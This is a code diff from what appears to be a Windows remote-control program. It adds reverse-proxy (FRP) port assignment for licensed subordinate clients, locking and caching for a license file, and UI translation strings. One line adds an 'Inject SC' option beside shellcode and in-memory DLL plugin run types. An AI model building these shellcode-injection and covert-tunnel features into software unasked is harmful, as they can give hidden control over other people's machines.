portsCfg.SetStr("ports", portStr, ""); // 写入空 owner,FindNextAvailablePort 将其视为可用
|
||||
return true;
|
||||
}
|
||||
|
||||
void CLicenseDlg::OnLicenseAutoFrp()
|
||||
{
|
||||
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
|
||||
if (nItem < 0)
|
||||
return;
|
||||
|
||||
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
|
||||
if (nIndex >= m_Licenses.size())
|
||||
return;
|
||||
|
||||
const auto& lic = m_Licenses[nIndex];
|
||||
|
||||
// 1. 前提条件:FRPS 服务器必须已在「下级 FRP 代理设置」中配置并启用
|
||||
if (!CFrpsForSubDlg::IsFrpsConfigured()) {
|
||||
MessageBoxL("请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token,然后再使用此功能。",
|
||||
"未配置 FRPS", MB_OK | MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. 读取该授权当前的 FRP 配置(若已分配端口)
|
||||
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||
int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
|
||||
|
||||
// 已分配端口时,先询问是否覆盖
|
||||
if (existingPort > 0) {
|
||||
CString msg;
|
||||
msg.FormatL("该授权已分配 FRPC 远程端口 %d,是否覆盖并重新设置?",
|
||||
existingPort);
|
||||
if (MessageBox(msg, _TR("覆盖 FRPC 配置"),
|
||||
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// 3. 决定默认端口:已有端口则沿用,否则查找下一个可用端口
|
||||
int defaultPort = existingPort;
|
||||
if (defaultPort <= 0) {
|
||||
defaultPort = CFrpsForSubDlg::FindNextAvailablePort();
|
||||
if (defaultPort <= 0) {
|
||||
MessageBoxL("FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。",
|
||||
"端口已满", MB_OK | MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// 4. 弹出输入对话框,允许用户确认或修改端口
|
||||
CInputDialog dlg(this);
|
||||
CString strTitle;
|
||||
strTitle.FormatL("自动 FRP - %s", lic.SerialNumber.c_str());
|
||||
dlg.Init(strTitle, _L("FRPC 远程端口 (1024-65535):"));
|
||||
CString strDefault;
|
||||
strDefault.Format(_T("%d"), defaultPort);
|
||||
dlg.m_str = strDefault;
|
||||
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return;
|
||||
|
||||
int remotePort = _ttoi(dlg.m_str);
|
||||
if (remotePort < 1024 || remotePort > 65535) {
|
||||
MessageBoxL("FRP 远程端口无效(1024-65535)", "提示", MB_OK | MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
// 5. 端口冲突检测:若端口已被其它序列号占用则拒绝
|
||||
std::string portOwner = CFrpsForSubDlg::GetPortOwner(remotePort);
|
||||
if (!portOwner.empty() && portOwner != lic.SerialNumber) {
|
||||
CString msg;
|
||||
msg.FormatL("端口 %d 已被序列号 %s 占用,请选择其它端口。",
|
||||
remotePort, portOwner.c_str());
|
||||
MessageBox(msg, _TR("端口冲突"), MB_OK | MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
// 6. 先生成 FRP 配置串(失败则直接返回,不动 frp_ports.ini)
|
||||
FrpsConfig frpsConfig = CFrpsForSubDlg::GetFrpsConfig();
|
||||
// expireDate 固定 20371231(由 License 自身的过期控制实际有效性)
|
||||
std::string frpConfig = GenerateFrpConfig(
|
||||
frpsConfig.server, frpsConfig.port, remotePort,
|
||||
frpsConfig.token, "20371231", frpsConfig.authMode);
|
||||
|
||||
if (frpConfig.empty()) {
|
||||
MessageBoxL("生成 FRP 配置失败", "错误", MB_OK | MB_ICONERROR);
|
||||
return;
|
||||
}
|
||||
|
||||
// 7. 提交端口变更(顺序:新端口 RecordPortAllocation → 释放旧端口 → 写 licenses.ini)。
|
||||
// 顺序保证:任意一步失败都不会出现"旧端口已释放 + 新端口未占用"的真空态。
|
||||
CFrpsForSubDlg::RecordPortAllocation(remotePort, lic.SerialNumber);
|
||||
if (existingPort > 0 && existingPort != remotePort) {
|
||||
FreeFrpPortAllocation(existingPort, lic.SerialNumber); // 仅当旧端口确实归属本 SN 时才释放
|
||||
}
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
cfg.SetStr(lic.SerialNumber, "FrpConfig", frpConfig);
|
||||
}
|
||||
|
||||
CString msg;
|
||||
msg.FormatL("已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。",
|
||||
lic.SerialNumber.c_str(), remotePort);
|
||||
MessageBox(msg, _TR("配置成功"), MB_OK | MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
void CLicenseDlg::OnLicenseRevokeFrp()
|
||||
{
|
||||
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
|
||||
if (nItem < 0)
|
||||
return;
|
||||
|
||||
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
|
||||
if (nIndex >= m_Licenses.size())
|
||||
return;
|
||||
|
||||
const auto& lic = m_Licenses[nIndex];
|
||||
|
||||
// 读取当前 FRP 配置;若本就没有,菜单理应不显示,这里再防御一次
|
||||
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||
int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
|
||||
if (existingFrpConfig.empty() && existingPort <= 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 二次确认(撤销后下级下次上线即丢失反向代理通道)
|
||||
CString confirm;
|
||||
confirm.FormatL("确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。",
|
||||
lic.SerialNumber.c_str(), existingPort);
|
||||
if (MessageBox(confirm, _TR("撤销 FRP 配置"),
|
||||
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 先释放 frp_ports.ini 中的端口占用(仅当归属仍为本 SN 时才释放)。
|
||||
// 顺序:先释放端口,再清 FrpConfig —— 即便后一步失败,端口也已可被复用,
|
||||
// 不会留下"FrpConfig 还在但端口已挂账"的悬空状态。
|
||||
if (existingPort > 0) {
|
||||
FreeFrpPortAllocation(existingPort, lic.SerialNumber);
|
||||
}
|
||||
|
||||
// 清除 licenses.ini 中该授权的 FrpConfig 字段
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
cfg.SetStr(lic.SerialNumber, "FrpConfig", "");
|
||||
}
|
||||
|
||||
CString msg;
|
||||
msg.FormatL("已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。",
|
||||
lic.SerialNumber.c_str(), existingPort);
|
||||
MessageBox(msg, _TR("撤销成功"), MB_OK | MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
@@ -97,6 +97,8 @@ public:
|
||||
afx_msg void OnLicenseEditRemark();
|
||||
afx_msg void OnLicenseViewIPs();
|
||||
afx_msg void OnLicenseDelete();
|
||||
afx_msg void OnLicenseAutoFrp();
|
||||
afx_msg void OnLicenseRevokeFrp();
|
||||
};
|
||||
|
||||
// 获取所有授权信息
|
||||
|
||||
@@ -14,11 +14,65 @@
|
||||
#include "InputDlg.h"
|
||||
#include "FrpsForSubDlg.h"
|
||||
#include "UIBranding.h"
|
||||
#include <unordered_map>
|
||||
#include <ctime>
|
||||
|
||||
// 外部函数声明
|
||||
extern std::vector<std::string> splitString(const std::string& str, char delimiter);
|
||||
extern std::string GetFirstMasterIP(const std::string& master);
|
||||
|
||||
// ---- licenses.ini 并发与写抑制基础设施 (P1) ----
|
||||
// 见 CPasswordDlg.h 中 LicensesIniMutex() 注释。这里给出实例。
|
||||
std::recursive_mutex& LicensesIniMutex()
|
||||
{
|
||||
static std::recursive_mutex m;
|
||||
return m;
|
||||
}
|
||||
|
||||
namespace {
|
||||
// UpdateLicenseActivity 的写抑制缓存:仅当字段实际变化或节流过期时才落盘。
|
||||
//
|
||||
// ⚠️ Cache key 是 "SN|IP|machine" 三元组而非单 SN,因为同一 SN 可能被多个客户端
|
||||
// 共用(团购授权场景:上百台机器共用一个序列号)。若按 SN 索引,多客户端的
|
||||
// (IP, machine) 会在 cache 里反复互相覆盖 → ipChanged 几乎每次都为 true →
|
||||
// 写抑制完全失效(实测从 0.6 次/秒只降到 0.7 次/秒)。
|
||||
//
|
||||
// 5s 心跳 × 100 客户端,每客户端独立 30s 节流后 → 100/30 ≈ 3.3 次落盘/秒。
|
||||
// Passcode/HMAC 是 per-SN 的,按本结构会在每个客户端的 entry 里冗余存一份,
|
||||
// 续期换码时所有客户端会各自触发一次重写(写入同一新值),冗余但无害。
|
||||
struct LicenseActivityCache {
|
||||
time_t lastFlushTime = 0; // 上次实际落盘的 epoch 秒
|
||||
std::string lastPasscode; // 上次写入 ini 的 Passcode
|
||||
std::string lastHMAC; // 上次写入 ini 的 HMAC
|
||||
std::string lastLocation; // 上次写入 ini 的 Location
|
||||
std::string lastIPWriteDate; // 上次写 IP 列表时的日期 yyMMdd
|
||||
};
|
||||
// Key 格式:"SN|IP|machine"。IP/machine 可能为空(ctx == null 路径),
|
||||
// 此时 key 形如 "SN||" —— 该路径自成一类节流域,互不干扰。
|
||||
std::unordered_map<std::string, LicenseActivityCache> g_activityCache;
|
||||
|
||||
// 30 秒节流窗口:LastActiveTime 最多 30 秒落盘一次(即便其它字段未变)。
|
||||
// UI 显示的"最后活跃"最多延迟 30 秒,业务可接受。
|
||||
constexpr int LAST_ACTIVE_THROTTLE_SECONDS = 30;
|
||||
}
|
||||
|
||||
// 由 DeleteLicense 等"在 cache 视野外修改了 disk"的路径调用,清掉某 SN 名下所有
|
||||
// (IP, machine) entry,强制下次 UpdateLicenseActivity 走 firstTime 路径重建 section。
|
||||
// Cache key 形如 "SN|IP|machine",同一 SN 可能对应多个 entry(多客户端共用授权),
|
||||
// 必须按前缀遍历清除。
|
||||
void InvalidateLicenseActivityCache(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
const std::string prefix = deviceID + "|";
|
||||
for (auto it = g_activityCache.begin(); it != g_activityCache.end(); ) {
|
||||
if (it->first.compare(0, prefix.size(), prefix) == 0) {
|
||||
it = g_activityCache.erase(it);
|
||||
} else {
|
||||
++it;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||
@@ -105,6 +159,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
|
||||
const std::string& authorization,
|
||||
const std::string& frpConfig)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -146,6 +201,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
|
||||
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
||||
std::string& hmac, std::string& remark)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -161,6 +217,7 @@ bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
||||
// 加载授权的 FRP 配置
|
||||
std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
return cfg.GetStr(deviceID, "FrpConfig", "");
|
||||
@@ -169,6 +226,7 @@ std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
||||
// 加载授权的 Authorization(用于 V2 授权返回给第一层)
|
||||
std::string LoadLicenseAuthorization(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
return cfg.GetStr(deviceID, "Authorization", "");
|
||||
@@ -177,6 +235,7 @@ std::string LoadLicenseAuthorization(const std::string& deviceID)
|
||||
// 更新授权的 Authorization(V2 续期时更新)
|
||||
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -313,59 +372,115 @@ static int GetIPCount(const std::string& ipListStr)
|
||||
return (int)ipList.size();
|
||||
}
|
||||
|
||||
// 更新授权活跃信息
|
||||
// 更新授权活跃信息(带写抑制)
|
||||
//
|
||||
// 设计要点:心跳每 5 秒触发一次本函数;同样的 SN 在稳态下绝大多数字段不会变化。
|
||||
// 朴素实现每次心跳都做 6-8 次 SetStr (整文件重写),5 秒就是一轮全文件 I/O 风暴,
|
||||
// 100 在线时会饱和。本实现引入 in-memory 缓存 g_activityCache:
|
||||
// - 字段未变化 + LastActiveTime 节流窗口(30 秒)内 → 直接 return,零 I/O
|
||||
// - 字段变化(passcode/HMAC/IP/Location 任一)→ 仅写变化字段
|
||||
// - 节流过期 → 只写 LastActiveTime(轻量刷新)
|
||||
// - IP 列表中的时间戳是日级精度(yyMMdd),跨天必须重写一次以刷新日期
|
||||
//
|
||||
// 注意:仅在落盘成功后才更新 cache,保证 cache 永远反映"磁盘上当前值"。
|
||||
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
|
||||
const std::string& hmac, const std::string& ip,
|
||||
const std::string& location, const std::string& machineName)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
|
||||
// Cache key 是 (SN, IP, machine) 三元组 —— 同 SN 多客户端共用授权时各自独立节流。
|
||||
// 若同 SN 不同 (ip, machine) 共用一个 cache entry,IP 字段会在不同客户端间反复
|
||||
// 翻转,每次心跳都判定为 ipChanged → 写抑制完全失效。
|
||||
const std::string cacheKey = deviceID + "|" + ip + "|" + machineName;
|
||||
auto& cache = g_activityCache[cacheKey];
|
||||
time_t now = time(nullptr);
|
||||
|
||||
// 计算今日日期串(yyMMdd),用于和 IP 列表时间戳比对
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char today[8];
|
||||
sprintf_s(today, "%02d%02d%02d", st.wYear % 100, st.wMonth, st.wDay);
|
||||
|
||||
// —— 决策阶段:判断本次心跳是否真的需要落盘 ——
|
||||
// 注意:因 cacheKey 已经包含 (IP, machine),不同的客户端会落到不同 entry,
|
||||
// 所以不再需要在字段比对中处理 IP/machine 变化 —— 那种"变化"其实是 cache miss。
|
||||
const bool firstTime = (cache.lastFlushTime == 0);
|
||||
const bool passcodeChanged = (passcode != cache.lastPasscode);
|
||||
const bool hmacChanged = (hmac != cache.lastHMAC);
|
||||
const bool ipDayChanged = !ip.empty() && !cache.lastIPWriteDate.empty() &&
|
||||
std::string(today) != cache.lastIPWriteDate;
|
||||
const bool locationChanged = !location.empty() && (location != cache.lastLocation);
|
||||
const bool throttleExpired = (now - cache.lastFlushTime >= LAST_ACTIVE_THROTTLE_SECONDS);
|
||||
|
||||
if (!firstTime && !passcodeChanged && !hmacChanged
|
||||
&& !ipDayChanged && !locationChanged && !throttleExpired) {
|
||||
// 100% cache 命中:本客户端的所有字段都与上次落盘一致且节流未过期
|
||||
return true;
|
||||
}
|
||||
|
||||
// —— 落盘阶段:仅写真正需要写的字段 ——
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
// 检查该授权是否存在
|
||||
// 检查该授权是否存在(注意:此处仍需读磁盘,因为我们不缓存"是否存在"的事实)
|
||||
std::string existingPasscode = cfg.GetStr(deviceID, "Passcode", "");
|
||||
if (existingPasscode.empty()) {
|
||||
// 授权不存在,但验证成功了,说明是既往授权,自动添加记录
|
||||
const bool isNewRecord = existingPasscode.empty();
|
||||
|
||||
if (isNewRecord) {
|
||||
// 授权不存在但验证成功 —— 既往授权自动加入
|
||||
cfg.SetStr(deviceID, "SerialNumber", deviceID);
|
||||
cfg.SetStr(deviceID, "Passcode", passcode);
|
||||
cfg.SetStr(deviceID, "HMAC", hmac);
|
||||
cfg.SetStr(deviceID, "Remark", "既往授权自动加入");
|
||||
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE); // 新记录默认为有效
|
||||
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
||||
} else {
|
||||
// 授权已存在,更新 passcode(续期后 passcode 会变化)
|
||||
// 已存在:只在 passcode/hmac 实际变化时才写(续期场景才会变)
|
||||
if (firstTime || passcodeChanged) {
|
||||
cfg.SetStr(deviceID, "Passcode", passcode);
|
||||
}
|
||||
if (firstTime || hmacChanged) {
|
||||
cfg.SetStr(deviceID, "HMAC", hmac);
|
||||
}
|
||||
}
|
||||
|
||||
// 更新最后活跃时间
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
// LastActiveTime:走到这里就更新(节流过期或字段变化都需要刷新)
|
||||
char timeStr[32];
|
||||
sprintf_s(timeStr, "%04d-%02d-%02d %02d:%02d:%02d",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
cfg.SetStr(deviceID, "LastActiveTime", timeStr);
|
||||
|
||||
// 如果是新添加的记录,设置创建时间
|
||||
if (existingPasscode.empty()) {
|
||||
if (isNewRecord) {
|
||||
cfg.SetStr(deviceID, "CreateTime", timeStr);
|
||||
}
|
||||
|
||||
// 更新 IP 列表(追加新 IP 或更新已有 IP 的时间戳)
|
||||
// 格式: IP(机器名)|yyMMdd
|
||||
if (!ip.empty()) {
|
||||
// IP 列表:本客户端首次 或 同客户端跨天 才重写(UpdateIPList 会在 disk 上合并)
|
||||
if (!ip.empty() && (firstTime || ipDayChanged)) {
|
||||
std::string existingIPList = cfg.GetStr(deviceID, "IP", "");
|
||||
std::string newIPList = UpdateIPList(existingIPList, ip, machineName);
|
||||
cfg.SetStr(deviceID, "IP", newIPList);
|
||||
cache.lastIPWriteDate = today;
|
||||
}
|
||||
if (!location.empty()) {
|
||||
|
||||
if (!location.empty() && (firstTime || locationChanged)) {
|
||||
cfg.SetStr(deviceID, "Location", location);
|
||||
}
|
||||
|
||||
// —— 同步缓存(必须在落盘成功后)——
|
||||
cache.lastFlushTime = now;
|
||||
cache.lastPasscode = passcode;
|
||||
cache.lastHMAC = hmac;
|
||||
if (!location.empty()) {
|
||||
cache.lastLocation = location;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// 检查授权是否已被撤销
|
||||
bool IsLicenseRevoked(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
std::string status = cfg.GetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
||||
|
||||
@@ -2,10 +2,23 @@
|
||||
|
||||
#include <afx.h>
|
||||
#include <afxwin.h>
|
||||
#include <mutex>
|
||||
#include "Resource.h"
|
||||
#include "common/commands.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
// 全局 licenses.ini 互斥锁(Meyers singleton,跨翻译单元共享)。
|
||||
// 所有读写 licenses.ini 的函数入口必须加锁,否则在心跳并发下会出现
|
||||
// read-modify-write 丢更新(典型受害者:PendingQuota / IP 列表)。
|
||||
// 使用 recursive_mutex 是因为部分函数会嵌套调用(如 DecrementPendingQuota → ClearPendingRenewal)。
|
||||
std::recursive_mutex& LicensesIniMutex();
|
||||
|
||||
// 让 UpdateLicenseActivity 内部缓存里某个 SN 的 entry 失效。
|
||||
// 必须在外部修改了授权(删除 / 重新创建 section)后调用,否则 cache 命中策略
|
||||
// 会跳过本应触发的"既往授权自动加入"路径,导致 disk 上的 section 不会重建。
|
||||
// 实现在 CPasswordDlg.cpp,需持 LicensesIniMutex(内部会自行加锁,可在已加锁线程嵌套调用)。
|
||||
void InvalidateLicenseActivityCache(const std::string& deviceID);
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
namespace TcpClient {
|
||||
std::string ObfuscateAuthorization(const std::string& auth);
|
||||
|
||||
@@ -108,7 +108,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
|
||||
{
|
||||
m_listPlugins.DeleteAllItems();
|
||||
|
||||
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
||||
const char* runTypeNames[] = { "Shellcode", "内存DLL", "Inject SC"};
|
||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
|
||||
|
||||
int index = 0;
|
||||
|
||||
@@ -1866,11 +1866,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
switch (nID) {
|
||||
case IDM_CONTROL: {
|
||||
m_bIsCtrl = !m_bIsCtrl;
|
||||
m_bIsTraceCursor = !m_bIsCtrl;
|
||||
// 进入控制模式时重置放大状态
|
||||
if (m_bIsCtrl && m_bZoomedIn) {
|
||||
ResetZoom();
|
||||
}
|
||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
||||
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
||||
@@ -1909,6 +1911,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
|
||||
int code;
|
||||
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
|
||||
DeleteFile(m_aviFile); // 删除 AVIFileOpen 残留的 0 字节文件
|
||||
MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n" + _TR("错误代码: ") +
|
||||
CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION);
|
||||
m_aviFile = _T("");
|
||||
|
||||
@@ -1851,6 +1851,44 @@ IOCP
|
||||
入站告警=Inbound Alert
|
||||
反代理告警=Anti-Proxy Alert
|
||||
试用版 LAN-only 限制=Trial Version - LAN Only Restriction
|
||||
入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
|
||||
入站公网 IP: %s (Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
|
||||
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
|
||||
检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.
|
||||
; Auto FRP / Upper-FRP Hot-Swap - English Translation
|
||||
; Format: Simplified Chinese=English
|
||||
; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
|
||||
|
||||
; --- 主对话框:检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效=[FRP] Upstream FRP reverse proxy enabled (remote port %d), now active
|
||||
[FRP] 收到无效的 FRP 配置: %s=[FRP] Received invalid FRP configuration: %s
|
||||
[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC=[FRP] Upstream FRP reverse proxy configuration revoked, FRPC stopped
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效=[FRP] Upstream FRP reverse proxy switched (remote port %d → %d), now active
|
||||
[FRP] 收到无效的新 FRP 配置: %s,已停止旧 FRPC=[FRP] Received invalid new FRP configuration: %s. Old FRPC stopped.
|
||||
|
||||
; --- 授权管理:右键菜单"自动FRP" ---
|
||||
自动FRP(&F)...=Auto FRP(&F)...
|
||||
|
||||
; --- 授权管理 → 自动FRP 对话框相关 ---
|
||||
请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token,然后再使用此功能。=Please first enable and configure the FRPS server address, port and token in Extensions → FRPS for Subordinates, then use this feature.
|
||||
未配置 FRPS=FRPS Not Configured
|
||||
该授权已分配 FRPC 远程端口 %d,是否覆盖并重新设置?=This license is already assigned FRPC remote port %d. Overwrite and reconfigure?
|
||||
覆盖 FRPC 配置=Overwrite FRPC Configuration
|
||||
FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。=FRPS port range is full, cannot auto-allocate. Please expand the port range in "FRPS for Subordinates" settings.
|
||||
端口已满=Port Range Full
|
||||
自动 FRP - %s=Auto FRP - %s
|
||||
FRPC 远程端口 (1024-65535):=FRPC Remote Port (1024-65535):
|
||||
端口 %d 已被序列号 %s 占用,请选择其它端口。=Port %d is already occupied by serial number %s. Please choose another port.
|
||||
端口冲突=Port Conflict
|
||||
生成 FRP 配置失败=Failed to generate FRP configuration
|
||||
已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=Configured license %s with FRPC remote port %d.\n\nWhen the subordinate comes online, it will automatically receive the FRP configuration and enable the reverse proxy.
|
||||
配置成功=Configured Successfully
|
||||
; --- 授权管理:右键菜单"撤销FRP" + 对话框 ---
|
||||
撤销FRP(&U)=Revoke FRP(&U)
|
||||
确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。=Revoke FRP configuration for license %s?\n\nRemote port %d will be released. The reverse proxy will stop working the next time the subordinate comes online.
|
||||
撤销 FRP 配置=Revoke FRP Configuration
|
||||
已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。=Revoked FRP configuration for license %s. Remote port %d has been released.
|
||||
撤销成功=Revoked Successfully
|
||||
无效参数=Invalid argument
|
||||
不支持的位深度,需要24位或32位=Bitmap depth is unsupported
|
||||
未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw=x264 Encoder is required \nDownload via:https://sourceforge.net/projects/x264vfw
|
||||
创建AVI文件失败=Create AVI file failed
|
||||
|
||||
@@ -1842,6 +1842,44 @@ IOCP
|
||||
入站告警=入站告警
|
||||
反代理告警=反代理告警
|
||||
试用版 LAN-only 限制=試用版 LAN-only 限制
|
||||
入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s (Proxy Protocol 真實 IP 或 raw TCP 對端)
|
||||
入站公网 IP: %s (Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s (Proxy Protocol 真實 IP 或 raw TCP 對端)
|
||||
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP:%s\r\n\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n如需跨網遠控,請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
|
||||
检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線:核心 RTT 中位數 %d ms,超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控,請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。
|
||||
; Auto FRP / Upper-FRP Hot-Swap - Traditional Chinese Translation
|
||||
; Format: Simplified Chinese=Traditional Chinese
|
||||
; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
|
||||
|
||||
